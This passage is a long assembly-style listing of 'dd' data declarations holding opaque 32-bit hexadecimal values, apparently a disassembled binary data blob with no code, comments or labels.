		dd 1695F4A0h, 4AF975Ch,	0B1EB69E0h, 15BBE420h, 51EADC02h
		dd 48C99C8Dh, 2A533A18h, 0C2C86CFBh, 8860EC9h, 8EBF6D61h
		dd 0C0988110h, 70F0EA3Ah, 4AF60380h, 4C34ADEDh,	0FBC0D2C8h
		dd 677DD000h, 0A8152175h, 9CE7C60h, 0D981AE8Dh,	2DCD1C00h
		dd 8C001D3Ah, 49481339h, 4F7231h, 200923BBh, 2A0A54C0h
		dd 0FCBC7900h, 0E2989656h, 41A41FDCh, 0B765D31h, 0BF00E34Bh
		dd 23A3CB22h, 7CA95158h, 79005898h, 4020AA76h, 0FABE45h
		dd 3B625CABh, 0FC77B9BBh, 0ED8A1E1Ch, 0F831BF16h, 0B450E92Dh
		dd 57AE764h, 0D088F983h, 328B8002h, 2C261C94h, 13F7EBCh
		dd 0F5E2A8B4h, 0DEF9FE3Eh, 35068D4h, 60AC216Eh,	8FC09F91h
		dd 7070DD06h, 1950DB76h, 0CCF66EC8h, 0F1E11E1Eh, 0C34AF780h
		dd 1701FD0Ah, 0EA5F70h,	2A28AFECh, 0DB0254B4h, 0FFF8A464h
		dd 0A15DC065h, 891300B9h, 776A4FA8h, 0C302AD15h, 0DF4AFADBh
		dd 20E8E898h, 0EF863A60h, 0D1B2B680h, 5F947E8Ah, 80982139h
		dd 5DB94F2Ah, 3B3FA03Ah, 0A9007CB0h, 8CBFC7DDh,	67036932h
		dd 0E4166696h, 0D35D0FCh, 0CCBE03DCh, 8245A415h, 50A27DB8h
		dd 2B9CAC00h, 13E9C7D2h, 8B7809h, 89C2B1C8h, 0D81F9FEh
		dd 310A1F7Ch, 8CBE9ECEh, 88D47200h, 310EAB5h, 2D0567F3h
		dd 0E7A05718h, 7092A379h, 0DB391B90h, 59F26522h, 0D03C8380h
		dd 0A1B00C2h, 2ED7F605h, 4200F509h, 87C14164h, 14627B5h
		dd 7EEC608Dh, 281B33E0h, 0B7F4005Ch, 50057718h,	25AF04A3h
		dd 9791C4E7h, 8C9EDE70h, 0DC11FB30h, 0EFBB4B00h, 0E54E522Fh
		dd 0F85C1EFEh, 0D589C004h, 0F707441Dh, 7CD17100h, 741B845Ah
		dd 27617CF4h, 14823DF9h, 0E0440B3Ch, 5A890109h,	2F24838Eh
		dd 8047CDD3h, 57D21529h, 1A00E868h, 0AB5A184Dh,	0AD3839C1h
		dd 58AEE800h, 0D3DC0451h, 92EC3A64h, 1B0524C8h,	40838453h
		dd 0A67D2A98h, 0C896E514h, 1BCBE680h, 764EB02h,	0F27E0672h
		dd 2DAC303Ah, 0B1392E0Fh, 94740019h, 8E35CE76h,	0F5DB00B2h
		dd 0D6D038DCh, 2270AB0Eh, 0FAB09D00h, 814C09F0h, 40D16186h
		dd 0C84DEE4Ah, 10C0FB69h, 0A5621FD7h, 75763ACAh, 2737A78Eh
		dd 4F7EC035h, 0C05C74D7h, 68A0F612h, 0B3AE1D00h, 0C37A1F0Ah
		dd 0D4931D9Dh, 4034DFA4h, 0BE574108h, 2E00D939h, 7ED0CF36h
		dd 0FAC9183h, 0F7BB69BCh, 0DCF6B9E0h, 0B10004A7h, 3307C612h
		dd 9AC37C37h, 0D98E277Ch, 0A3605430h, 9815CB00h, 0C8D713BBh
		dd 7D94BA5h, 0CEE12494h, 304EAFADh, 0F2003BB8h,	0B856B68Dh
		dd 99C3EEh, 4A105F0Ch, 34FA617h, 44759701h, 490F76D3h
		dd 8671F0h, 14F63B5Dh, 587931F3h, 5AA43903h, 0B0C5106Eh
		dd 2FBBCFh, 32A37F92h, 9E3256Dh, 26CE4312h, 0BB38F700h
		dd 0A96311h, 997904C4h,	8B3E3498h, 800DEF16h, 0B5C7B020h
		dd 0E6CCF58Ch, 94863CBCh, 0D055BE80h, 5181A01h,	0AB0EEC98h
		dd 8019B8D2h, 346ED377h, 6CED0192h, 3FF57D2Dh, 0FC3D20E6h
		dd 0C65E8A00h, 1250CFAEh, 2CB10485h, 8BE6D361h,	0B520002Ch
		dd 0D4DF3DD6h, 8AA907C5h, 0A01210D7h, 0B94D7536h, 6C016000h
		dd 0A58C0F1Fh, 0F6520F48h, 7F80D48Bh, 0D513597h, 6C2D4Ch
		dd 0F4E18193h, 7AF8F5h,	1944C6A1h, 0C23754F1h, 0FAC00802h
		dd 52A99240h, 0BEFF1754h, 274C0136h, 83430237h,	0AF5B4F30h
		dd 0E082839Bh, 1663BD11h, 0D9FF36h, 0B649CB40h,	2D0F9272h
		dd 20544AF3h, 9D6E15C0h, 339426FCh, 17A6241Eh, 0B6C40989h
		dd 0A801D0FCh, 1103290Bh, 0DC1D543Ch, 0F3258019h, 7C9CC015h
		dd 0AFAB9509h, 0C778201Ch, 605138h, 0D7A01297h,	92A31B48h
		dd 24AC6A59h, 0B02F8E7h, 0C1738086h, 0E424BDA3h, 0B951243Dh
		dd 0FD823C14h, 446396E9h, 2B1106Bh, 5F84D866h, 0A74C20FBh
		dd 0C32AD30Eh, 7C19C09Fh, 30F615D7h, 0D2215582h, 0AD2C77F4h
		dd 7D0044A8h, 130AE8C7h, 0F84330C4h, 0C839EA70h, 0C1302772h
		dd 2C0AB062h, 49E00005h, 0FE17F32Ah, 1DEA9626h,	8972D501h
		dd 6CBD016Dh, 1F8CE3D4h, 0CA2B47BEh, 1B51BB8h, 2AF4FB99h
		dd 94808975h, 0CEBE0097h, 778AC965h, 7BB907D3h,	107FA3BEh
		dd 0E655D438h, 0F6D50518h, 70DA4B90h, 31581DC2h, 0EA43C086h
		dd 672F70E0h, 84EDD100h, 0C336DD79h, 0E1D50061h, 0AB90A502h
		dd 0C2472E7h, 410087A9h, 4453F7ACh, 0A6E04851h,	1F2B7700h
		dd 1B6316A6h, 74DF7226h, 4FABCB0Eh, 0EE3A2097h,	4A7A22Eh
		dd 0F889BFA8h, 6CC881F5h, 0F186254h, 1D2E6E08h,	8FD65DCAh
		dd 14E9D700h, 22F39Fh, 0F200B0Eh, 0C1439651h, 10C04676h
		dd 99884B0Ah, 780600DDh, 0D2CD115Ah, 0AA02A4BDh, 279B21A6h
		dd 0B24784Ch, 9D06BE93h, 0F0ECDCA4h, 3F7C7DE8h,	90E45A28h
		dd 0BEB083Eh, 64A69C3Eh, 0ECEF01C4h, 704AA533h,	75C86CCEh
		dd 680E251Dh, 2C480EDh,	367B175h, 0D2988D41h, 21EAB939h
		dd 0D13C9480h, 14826EAh, 63221FF8h, 4040E44Eh, 0A74E3549h
		dd 56B0088h, 0ACC51FDEh, 0F3005F87h, 1B06025Dh,	1F821E3h
		dd 6AE63A17h, 249DC9C6h, 0CF4A6184h, 5FFEFC00h,	0BC8615h
		dd 6FB56241h, 25A52C30h, 0A20A2200h, 33645C0Eh,	5F7E1DFAh
		dd 4DED0624h, 8CB0F06Eh, 0D91C0BE6h, 682686B2h,	0D017372Ch
		dd 20149C00h, 3F058E1h,	5B783BF3h, 0E8DAF734h, 8294684Bh
		dd 0E4838331h, 4400F13Ch, 0BED21098h, 0B389B25h, 0F953E229h
		dd 0A8BA6400h, 8B1C9487h
		dd 0C40B24DAh, 8658203Eh, 76B18Ah, 0B6BCEAE7h, 6E6A67E0h
		dd 7CDA4505h, 0DC53F342h, 4D3C4CCh, 1B0D628Ah, 8188811Ch
		dd 0FFC8F1FDh, 0AC9A1100h, 0B5B0E0B1h, 2BECEFCFh, 7E558FFh
		dd 44288000h, 3F137E92h, 0D078500h, 62524DA4h, 19681354h
		dd 0AF1F04ADh, 3714E0EBh, 47B9AA02h, 80035630h,	4B43C3ECh
		dd 6A47111h, 82DF2A2h, 9B00E8AAh, 19BEC280h, 18324Bh, 6F89E6CFh
		dd 22CEFDF4h, 56A2D400h, 0C98AE015h, 0A4202C7h,	1288AB7Ch
		dd 7B82B080h, 4100D20Fh, 0AAD5E0BCh, 73C5DCh, 58381F3Eh
		dd 9FECC313h, 22100349h, 0DD400402h, 0AF8D9Bh, 6C76DF71h
		dd 6F080567h, 91019645h, 2040023Ch, 32007514h, 2CFEB23Ah
		dd 4EB30334h, 5FE0400Fh, 403BF83Eh, 71B6F01h, 6F58249h
		dd 70031020h, 0FEF30019h, 2F4A6901h, 0A000E805h, 0F99C6726h
		dd 5DEF1C61h, 7E00981Ah, 0DA74B0E6h, 0F63BC772h, 80A04889h
		dd 50AE0755h, 5C833CCCh, 3AC1DCD0h, 1D8089B2h, 862CB53Ch
		dd 803F5A39h, 2DD91629h, 349E7E00h, 0ECD73AC8h,	2F3730A5h
		dd 994AFE21h, 44675600h, 380D2B1Ah, 0B9430E13h,	0C6C327D4h
		dd 99003FB0h, 2D4A6361h, 3B3DCEh, 75DE4272h, 0C16AE43h
		dd 0B9715307h, 0D8A01B39h, 0EC2A7073h, 62DB00D3h, 0E78611B4h
		dd 241C4A8Eh, 0B24946F1h, 1E078C9h, 0AE0206B5h,	24332772h
		dd 970E965Ch, 8EFB7E76h, 49A960A3h, 46DAB70h, 0F2FCBB5Bh
		dd 1114C085h, 7B000C78h, 0F5E0D666h, 13F345DEh,	0FCE5CE44h
		dd 7E2D1F62h, 5329B940h, 3776AA6h, 83D15117h, 0C69137C4h
		dd 0D5F0408Ch, 4A00EA8Fh, 0B1AB3A13h, 0BA6FA4h,	0B269CE29h
		dd 0DF4DF88Ch, 0D7C54Ch, 0F6D24263h, 4DD9B54Ch,	0EB03306Ah
		dd 72182254h, 7414E83Eh, 58FD5E18h, 0F85A1620h,	26B600D4h
		dd 0D85C79BBh, 2C026BC6h, 0FEC4313Ah, 146AC050h, 63967495h
		dd 0A0A7401Ah, 0DFDA35A0h, 60496C6Ch, 7E2300FBh, 39BF0DE7h
		dd 0EA2801D9h, 6F7C446Dh, 3A6A1820h, 4F0250E6h,	266CAA5Ch
		dd 0A03DB080h, 0B50091B3h, 0C0173C05h, 17570603h, 0AE6D46h
		dd 6CE77019h, 8312EA21h, 0A0058AECh, 31C0F7BBh,	71629Fh
		dd 73B7A806h, 0E62BB6DFh, 41680200h, 40532AA6h,	590305CFh
		dd 8028054Bh, 17D72D29h, 0D549951Fh, 0C479C30Eh, 4180435Fh
		dd 365C823h, 0C4586021h, 8CC0BCECh, 0F007ED3h, 87E4C17Bh
		dd 33F462h, 90FA260Dh, 0ACCA65CBh, 3C33Dh, 0DCAD83E8h
		dd 1332EF6h, 34351064h,	0EC88A50Ah, 950E18FAh, 1696D06Dh
		dd 4092A44Eh, 0EF6EB41Ah, 0E16712DFh, 2EB4E065h, 9E576807h
		dd 0EEC2E6B9h, 0A70CA27Fh, 24421282h, 58FB0C07h, 87313744h
		dd 88330893h, 0B320AFA6h, 0F37D0961h, 0B060E7A1h, 0B15135B6h
		dd 2622C4E0h, 0C55C93Fh, 2066DBABh, 0EA240114h,	0EE6153A0h
		dd 0B499834Ch, 0B0AEDAh, 0E2657C39h, 0C79CE9A4h, 32A1E407h
		dd 7E81B4DCh, 0A2FCBF68h, 508FE794h, 0A009D824h, 0A1C30CCBh
		dd 838DA7E9h, 6CA55C21h, 26E2C1B8h, 30977C70h, 0F8797937h
		dd 36628B52h, 0A06ED4C8h, 0FE0643ACh, 0F5691DA5h, 5CE7A5B4h
		dd 193D14FEh, 0EC158897h, 0FB098CBEh, 9000CC8Dh, 0EA2C8696h
		dd 90B88800h, 0ED583C39h, 374B3DBFh, 1484FB94h,	56015A22h
		dd 1DC06B4Eh, 9F40DAEEh, 1399E38Bh, 0AC4365F6h,	55200094h
		dd 7381AB85h, 664B00C7h, 0C50C91EEh, 9E3CBE4Fh,	0A1D81Bh
		dd 0E00484A5h, 4C5C9258h, 0F5168A5Ah, 0BD77019Fh, 0C428BC8Ch
		dd 420064D9h, 0FAFE2220h, 1D87C6EAh, 424F9450h,	0A3430DB2h
		dd 2E4C22E0h, 0CFA6880Fh, 1D7A60E1h, 14FD564h, 0C0864077h
		dd 0C4099E0Ch, 0D239C516h, 12ECB8BDh, 55019571h, 0A1618A45h
		dd 77D62DE0h, 0A5A200AEh, 0ECE8E24Bh, 1B005EC9h, 0AD89739h
		dd 4C95FF81h, 23008C40h, 4D0D537Ah, 0CD001E83h,	5D610733h
		dd 0F0EEC8h, 0C7303F6h,	0F19CFD9Dh, 0A4B73B00h,	4672B181h
		dd 7E963C1Fh, 64B5180h,	50A00EDAh, 0C1E77700h, 98B42D15h
		dd 7B6D982Bh, 1C38016Ch, 0E9838608h, 53B147E0h,	9DD02BE4h
		dd 0EE383EE3h, 0A76A80C5h, 0CFE58A65h, 4C3C1CC3h, 0A9ED07B7h
		dd 30506729h, 70B824FDh, 0BC15F428h, 0AB185498h, 6211D811h
		dd 80E20B8Ah, 7E07AE87h, 0A5C2F0A3h, 0E1018EA2h, 0F03637ACh
		dd 0C3701D43h, 0F52600F9h, 0A530A3AFh, 8B008F01h, 0D6B0BAF6h
		dd 79D5905h, 38BDE73Bh,	6AB7C06Bh, 73018FDCh, 0D7BA7D94h
		dd 17EC6633h, 0D9223A15h, 0C528980Ah, 5D1200ACh, 10B1834h
		dd 404DFD37h, 677FB050h, 0A37A5Eh, 859611B7h, 0AB7D8065h
		dd 2D033A04h, 0A5C0977Bh, 810EE5h, 2C8EBB4Fh, 53F9F849h
		dd 0C008C92h, 1F937CD8h, 7181BB52h, 2775D1h, 653472F8h
		dd 15A30A24h, 25753500h, 9910B491h, 50051D93h, 951C7E3Bh
		dd 6BCD401Dh, 75E0818Eh, 6A729009h, 95C03AEh, 9A42D804h
		dd 5D9B0B0Eh, 5C20C8DBh, 0F380EEC7h, 0C5C43300h, 0B260BCE9h
		dd 1E48A541h, 6FF30075h, 0FAB8994Ch, 6D732B00h,	6925A3F8h
		dd 0C81A0164h, 0D7501436h, 6081EC1Eh, 2105FA05h, 24C0239Dh
		dd 0C53374Fh, 0DC630B19h, 50C8DB0h, 301BA879h, 0B5540039h
		dd 0D7D81FEAh, 8800C43Ah, 0B95346BAh, 5AEA8A2h,	74D1FA23h
		dd 0B7AEC042h, 26037F8Fh, 0AB4FB60Fh, 7BD0C7DFh, 18F7E52Fh
		dd 0A4793680h, 0C8005167h, 34A94C2Eh, 3AB111D5h, 0D780F1F0h
		dd 0A49FF7B8h, 0DC54B9FCh, 6A004CC8h, 433E6206h, 4C8283AAh
		dd 8003452h, 7BFF9914h,	2748C038h, 0F68A000Ch, 5066F316h
		dd 8B2107F7h, 82BF32DDh, 60A525h, 0DB03FEAEh, 8D14C4B7h
		dd 0EA84C149h, 40CAE021h, 0F593D834h, 8B75C457h, 9A10D800h
		dd 0B033464Ah, 0E59900FCh, 0F7976AF4h, 2B00FB43h, 49F0A756h
		dd 9A85948h, 0E2D78850h, 2C546F80h, 4C2C0566h, 188044F8h
		dd 4EC415AEh, 0DAAA3DE0h, 0EC50A914h, 0FB6D3803h, 1101AF18h
		dd 677BB36Eh, 0C4E1F46Fh, 0C9AEE080h, 65C3286Ch, 0D3995E00h
		dd 0DD8364FBh, 3EA0C86h, 3469F6D0h, 2DC81886h, 7D3940BCh
		dd 33324009h, 0A24C3008h, 0D1AD0025h, 0F9FFF70Bh, 6C0037C5h
		dd 0C57298Ch, 3EFC2CEAh, 9B8041AEh, 0D646D486h,	593F4EB4h
		dd 0F2C40045h, 987D081Bh, 0C420495Ch, 0D9E2401h, 0CC6CD594h
		dd 0EB013DEFh, 964D3BD8h, 90814A72h, 0B2412FC8h, 1004CFA1h
		dd 7FA69BE4h, 0F7F1D89Ch, 5515C64h, 4DFA8EDh, 358C7065h
		dd 99C0A929h, 0B0C5FA68h, 86280FEAh, 0B1847C8Eh, 0C7A090E2h
		dd 0E6981383h, 30546D30h, 242FE794h, 8574DDC2h,	41183D77h
		dd 4A2771F8h, 28FC200Eh, 0F4421A00h, 0B976CEAEh, 494902Dh
		dd 26FE4034h, 9BCE8284h, 0F003C092h, 49003778h,	3DE407A4h
		dd 1955214h, 0D850B6BCh, 805EF472h, 0DCD5720h, 0C10BC34Ch
		dd 7AC2A1A9h, 4820EC1Ch, 0C426DF24h, 0ED528830h, 0E97907C0h
		dd 10A83B17h, 36C3E35Fh, 7288A000h, 0EE0D19D8h,	0ACDD03C1h
		dd 7AF9DECAh, 86A4D0DDh, 0D000FB09h, 0C9739C1Ah, 0ED6BBAh
		dd 7A97FF7Ch, 0F2D359B1h, 49E12F00h, 3E7EF7A7h,	0CDB5070Dh
		dd 0D0121F99h, 117FCFA0h, 0DD0075E0h, 3AFA4D8Ch, 36358C3h
		dd 51CBEEEFh, 0D83E49DAh, 67711285h, 0A3464047h, 90286BB2h
		dd 117A0E4h, 7BF5E1D5h,	281F136Fh, 0EBF31508h, 0A03CCEA0h
		dd 0CE515F7Dh, 0D1F10697h, 21212AD4h, 0F0EA820Eh, 9E11D835h
		dd 755D244Eh, 6E3900A0h, 0ED0784DFh, 8A291506h,	14900B5Eh
		dd 0FCC603CCh
		dd 11616B87h, 282EBED2h, 385E2404h, 8D43B86Ah, 1CC4EB56h
		dd 12E57D1h, 1A42A7Dh, 0C08347C8h, 76F2BA71h, 0B488B524h
		dd 68A60360h, 5D4B3F5Bh, 131800F9h, 794D595Fh, 0A2008EFEh
		dd 84693F91h, 393CAh, 31EDE38Dh, 3A9A1158h, 0DF8FF700h
		dd 0EE861B69h, 0F07E00A4h, 2DF435F3h, 0F9482694h, 0D8040048h
		dd 8DA827F7h, 7DAF38A2h, 65DC4A00h, 0D6EBFEBBh,	26CFA500h
		dd 6A4FBDB6h, 0D0B8D5h,	45308906h, 7137D9D2h, 649E5F00h
		dd 4A5B5A98h, 1E44FCE9h, 80726A19h, 95D4242Ah, 770054B3h
		dd 0B2362559h, 0FB5A59Ah, 2CC1C094h, 0FE01706Fh, 700E77B9h
		dd 6C0080A4h, 8C4CF166h, 7C8BE97h, 0C3E1C6BAh, 69A2214Dh
		dd 2B90FF6Ch, 5902024Fh, 66FC9A31h, 0DF04C879h,	0C198287Eh
		dd 0FA36E284h, 0A867F8EFh, 2E538F8h, 0D9D53771h, 9C65770Bh
		dd 0FC0E0A00h, 1C3D7140h, 4056B746h, 1D545CBFh,	0F40AE9D0h
		dd 0E0D81CEFh, 0F08A6181h, 5C245DB8h, 670040Dh,	0C0C971EDh
		dd 0D403052Ch, 0D96A5604h, 600E5544h, 0D0DBA7C0h, 9D492EB8h
		dd 0F9B60080h, 8CD15418h, 0E71F3FB9h, 0E2B8B8F4h, 8D98002Dh
		dd 0DB65BBE6h, 0E901182Eh, 15A9D54Fh, 0BDE8CC8Fh, 27760008h
		dd 4BB52D89h, 2B00B938h, 0BEAB033Eh, 59D9AF9h, 87E4B21Bh
		dd 702E80DFh, 470027D8h, 0B8E62B99h, 0F6E1097Bh, 62490032h
		dd 258A9B39h, 71058F5Dh, 78F2D5DDh, 53B04Bh, 7FB943B4h
		dd 3A5C093Eh, 90805586h, 0DA9D4AD9h, 47894418h,	0F1B2E0h
		dd 9AAED78Bh, 0CE0EE7AFh, 29F6C47Dh, 2D6EDD01h,	47A42E1Eh
		dd 2631A424h, 99A8CEBh,	70A004C3h, 0CD83DFB0h, 0DCFF809Ah
		dd 7005E9F2h, 0BF30A315h, 0EA7B8C40h, 2E5B31F9h, 5884DDD7h
		dd 2C9C128Ah, 13704025h, 3AB0123Dh, 630C406Eh, 0CE127579h
		dd 0C0B884FEh, 85273500h, 3A0C9542h, 0DF200099h, 7F4813ABh
		dd 972CB07Ah, 6F87647Bh, 0AEE7FF90h, 25637270h,	0D2A401C2h
		dd 0E6767DCCh, 0A81DE4B2h, 948798A3h, 0EF5CE4FAh, 0DF89EB01h
		dd 793965F1h, 51E6A450h, 6EA50034h, 0F50CF6A0h,	5B004F61h
		dd 0ED28F71h, 3B99B0C6h, 541FCB4Dh, 0F29E0165h,	8041DEAFh
		dd 846F0940h, 0C52EB8Bh, 452ED1B3h, 32760F18h, 5E3CCA1Fh
		dd 295E20DFh, 0B6B143CFh, 671F9C5Fh, 541979Fh, 84136FDh
		dd 84170C77h, 0E0F45071h, 16846026h, 80E8347Eh,	28C80C84h
		dd 0B5690400h, 7477E054h, 6C8148ADh, 0F6210E7Dh, 0A14147EAh
		dd 0C40B316Fh, 0B507CBA0h, 7F8B0326h, 0CFF38860h, 8994B991h
		dd 402056A9h, 3FCA6A5Ch, 3900AEEEh, 0AACC44DBh,	72DDCB02h
		dd 2FC301BBh, 72703BCEh, 346DF93Ch, 0A0443E68h,	0AE8C0260h
		dd 1F211417h, 663288E8h, 0EBC2C85h, 37400773h, 0FB198E2Eh
		dd 48E45130h, 0F88838h,	46032105h, 0E76C6D98h, 9981A703h
		dd 116137Eh, 48513B29h,	0F0C8675Ch, 0D700DF9Bh,	53A21ECh
		dd 0A03533h, 0A8A1FA16h, 0ED42F917h, 15CE149h, 0BA84DE68h
		dd 67CC0D16h, 78EE05B1h, 0D0CC7725h, 5A6EBE60h,	0C3368F00h
		dd 0C1C6A244h, 415209E0h, 789051FCh, 4B391B88h,	0B400CB6Fh
		dd 456BF4B1h, 35AC00DFh, 43D67C8Dh, 0A6006C54h,	0F9D8CDFBh
		dd 0C0445D67h, 1F2A8340h, 0C82885CAh, 533BF4E8h, 0D7EC831Dh
		dd 0C8C7F9DBh, 737648h,	1B332FD3h, 953A2B0Ch, 626DD501h
		dd 7DB588EFh, 0FFF470h,	50A05F77h, 0C5A680DAh, 0E9AC4600h
		dd 4A81A49Fh, 8B9E2E5Bh, 9DCF024Fh, 3EC09969h, 8A0C533Dh
		dd 28D1E9FFh, 769F0048h, 297BCD1Fh, 0C0FDDA5h, 840851F1h
		dd 54802865h, 0E8784825h, 0C32AF4D5h, 0AE1BDE50h, 8C3C4000h
		dd 670D1F62h, 3F5D00F3h, 482D3B64h, 54095065h, 80D24F92h
		dd 0EEB85C94h, 790F007Dh, 0CD3C0D07h, 1C033B5Fh, 0D3647E4Ah
		dd 0DB2CF80Ch, 40E0294h, 6C4C921Dh, 8CA41301h, 13032BECh
		dd 0D084AE17h, 25F3DC64h, 130C300h, 36633CC0h, 0B78F00A7h
		dd 2E5F183Fh, 0C579390Ah, 58907903h, 484A77A6h,	4F027A2Ah
		dd 37B751A8h, 65E041C0h, 84FDBC00h, 0E897BD1Ah,	0E4B11DCAh
		dd 0E3D302D4h, 2B43FEC1h, 7E282698h, 390E1B00h,	18A8115Ch
		dd 18B7BABh, 36F02F72h,	0E4C1A775h, 0FC0BB00Dh,	900B11h
		dd 53ACC240h, 9B82C67h,	0A4EF003Ch, 17FAB2B6h, 8D12D8EEh
		dd 9900D71Eh, 62F5C8F6h, 0EE382647h, 90800019h,	6B345425h
		dd 2C4C4Ch, 0CD601D7Bh,	0DC6867h, 4F38849Ah, 973BE6F5h
		dd 0AF3D8300h, 3760E994h, 7F91B813h, 0A3F05Dh, 0CCF39002h
		dd 0F1A628F6h, 0B99BDC13h, 35A05E01h, 8DF14B49h, 11192D8h
		dd 0EC5EB4A3h, 0DCD816BFh, 36FC6222h, 4B9B5707h, 34D0E476h
		dd 99DEE0h, 0D2C96053h,	5A7D702Bh, 76FF8807h, 0AC508A13h
		dd 0A05CFEh, 41A7E96Dh,	0ED39F368h, 0CA897E00h,	0FFD921BAh
		dd 9824008Bh, 5FD66A1Eh, 16012E0Dh, 9E5530A8h, 0BB20E7D1h
		dd 2DA100DEh, 0BA3277F6h, 2B003C10h, 0B491F3C5h, 6C2207h
		dd 0CE712FEDh, 0BEB901B7h, 0E002DE1Fh, 0CACE180h, 5FCB90h
		dd 781B42B1h, 0E68C12BFh, 0DC917103h, 0F03BF6C5h, 0E96E0Ah
		dd 0F7D1922Fh, 897F9AACh, 4C00E2F2h, 0D86D387Ah, 704A6B22h
		dd 0D6E409AEh, 5800DD6Fh, 0BF14BE02h, 689FFB00h, 0ACFD509Ch
		dd 961B002Eh, 4093C70Ch, 0EB07467Eh, 5047C3B5h,	1D2F2BA0h
		dd 529F1DA2h, 17E1836Fh, 1989854h, 0EA03EEAFh, 41EC1D43h
		dd 0E192B83Ah, 9DE90934h, 70804FDCh, 0A1867915h, 37C39F1Ch
		dd 0A09A1DCEh, 47255361h, 0CD5000DCh, 36C1B66Ah, 7C047DA1h
		dd 0D4E873D5h, 12A0E8A0h, 1C391D44h, 9E724070h,	0DADC5630h
		dd 51013F00h, 0FDEFB009h, 8EC60148h, 27A32F1Eh,	4AF081DEh
		dd 233D9544h, 0E9F0E4h,	8054839Bh, 20CD5BA4h, 80C5DA3Dh
		dd 8F70937Bh, 4D989Fh, 268468C8h, 0B816090Bh, 0DD836D00h
		dd 0E87A9062h, 74D34065h, 8FC621h, 8514870Fh, 31F5405h
		dd 0A940130Eh, 89CB4BFh, 4A7A0049h, 2023C15Ch, 0D700750Fh
		dd 473FF003h, 1EF157Eh,	0F73C38E5h, 0C4717D53h,	9E002C99h
		dd 0B0C7E3E9h, 97D3E7h,	0ED6356DFh, 80F99A4Ch, 9ED4F400h
		dd 7C2984C6h, 0FBAA0155h, 4C8F67FCh, 32D6CCB4h,	0C43AEB00h
		dd 6545F25h, 7BD70061h,	179CA82Ch, 9D07D280h, 9B7C34C6h
		dd 0B0D3B053h, 0EA994391h, 0A77A0529h, 0AC8041CDh, 4C21007Eh
		dd 0A87BF2BDh, 0ED1E0059h, 0B03E3F24h, 3700F80Bh, 0D2BC76D8h
		dd 989A5Bh, 2C12919Dh, 2D78DE81h, 0D0500900h, 41D3A85Dh
		dd 6CC03ACh, 88951AF6h,	8BA87F83h, 0C2253D4Ah, 254D0E0h
		dd 454415EAh, 0BA40B237h, 0FF0A092Fh, 0FD1F49F7h, 19387B00h
		dd 162E05DEh, 8013D4D1h, 275DC004h, 0D50074BAh,	9A7DE5CFh
		dd 105192h, 0AEC5355Bh,	0FA6049BDh, 38241400h, 0BA3C6362h
		dd 17CB2EEh, 0F2347A26h, 0F8A091F5h, 0E900CDFFh, 0B8A73A02h
		dd 50DDD6Ah, 200FF6BFh,	5C0490E2h, 0A2006B9Eh, 85A640E0h
		dd 28328712h, 4010DFF5h, 4903989Fh, 4DF08DA6h, 0E3B5A0DBh
		dd 0BEC4BC17h, 0EB6AAD80h, 0D835C155h, 2D4E68C0h, 3C06ACh
		dd 0E19E8D58h, 0AA6241F6h, 9C986C4Ah, 5BA810DCh, 845E0065h
		dd 1BE336D5h, 0ACE0E7B1h, 0D911C0D6h, 6BFD0353h, 0FF0E4102h
		dd 5455B538h, 1828BEECh, 28A20048h, 0EFFFA64Ah,	8D3E8F4Dh
		dd 102BA8B9h, 8C8B44Ah,	426300EFh, 8599F09h, 5A0097E4h
		dd 91EE0F4Eh, 26BC981h,	0A514E15Fh, 0A47C4A37h,	7B6E723Eh
		dd 94C58041h, 7B5EB355h
		dd 5F200E07h, 39CF53D3h, 33A483D2h, 67A5B790h, 0C209AFB0h
		dd 4DBC5Ch, 7680AE6Bh, 0FC1D70D0h, 66310C0Ch, 2169DEC8h
		dd 2233C301h, 8E1A1473h, 0C92A5ED4h, 0D0E0C708h, 2B003025h
		dd 0D9CBF4AFh, 589FAB8h, 0EC9017B9h, 92C8B057h,	66607B18h
		dd 48751DB1h, 0A22646A0h, 62E00CDCh, 0FD4AF329h, 60B63C91h
		dd 84923180h, 3F54BD01h, 0AE53EB1Fh, 2990ECCCh,	0E37E08h
		dd 1F6FE07h, 0F915CA31h, 2A15A58h, 0CF1A6F74h, 8F48543Ah
		dd 0EA409307h, 0E68A64Fh, 4014CC00h, 0A3B74869h, 617B3F6Ch
		dd 1A1EAFA0h, 0C47F84B2h, 0E7CD004Ch, 4233FF06h, 0AB66FDE1h
		dd 318A08h, 14E7A13Dh, 0DE3B4B91h, 7AB20706h, 5C417C5Fh
		dd 0E8606C95h, 0DDEB5B7Fh, 0D9BEB41Dh, 6A5AE143h, 85C0FC74h
		dd 142B89EEh, 8C58E496h, 3852E789h, 44FDFE1Ch, 725C54C0h
		dd 933687h, 0C6E83B89h,	0B9143D94h, 86FF9701h, 0C338AF81h
		dd 72636040h, 0FACC05BDh, 0C01A7ABFh, 1B453E23h, 384CF41Eh
		dd 6934280Ch, 880D8DEh,	0E1DFEE7Fh, 91EDB305h, 0D1CBBC40h
		dd 31129FCh, 7AC5C6EFh,	5D9D37B1h, 78E0C5B4h, 0DD800A2h
		dd 0D0FE0548h, 59E3DC2Ch, 0E770BE07h, 1370B5B6h, 5A876F9h
		dd 0C02D58E4h, 0E6B8F621h, 0DC1FF57Ch, 7B003AEAh, 0A0D7B5A6h
		dd 0A9601E8Fh, 66EB830Ch, 0E2C12221h, 3578805Bh, 0C55FE3CEh
		dd 0E2574C6Fh, 24212012h, 0A5A40624h, 0CC06C15Ch, 0BC7CEDE4h
		dd 0E6480660h, 501E6ED1h, 0CE26D409h, 847281h, 4BA09D52h
		dd 6DC0A5DDh, 0C162351Dh, 0F5218A18h, 95A00084h, 2AFB0830h
		dd 4730B073h, 0F1E0A878h, 2C0453DEh, 0E83091A2h, 1A3EC37h
		dd 0E5584E88h, 0ED441B97h, 0F0FFDD39h, 7F00FB81h, 460C5C0Eh
		dd 72B56BF2h, 0FD0A1EF6h, 0AE87C0A0h, 48A7BEFCh, 0EB060300h
		dd 71758E6Fh, 96650181h, 0BA6C97A2h, 6B86E4D0h,	0FA34600Eh
		dd 0D1E06069h, 0BB7F13h, 73D8F57h, 29992C45h, 9FED6400h
		dd 18253250h, 0F16E0191h, 5E9B2E60h, 0D719C008h, 70243602h
		dd 0C0BA9A1Fh, 38A0C12Fh, 0FA0302F5h, 7F20094Ch, 88A999C8h
		dd 0ED751100h, 0F0CEBDC7h, 65E000D1h, 0AA3C73D7h, 0C1E841BBh
		dd 0C514D501h, 48EC841Fh, 7DDE10F8h, 3AF78CEh, 0CAE65124h
		dd 8FB03070h, 0BF006F17h, 940C8DD6h, 3FA24F74h,	50E02753h
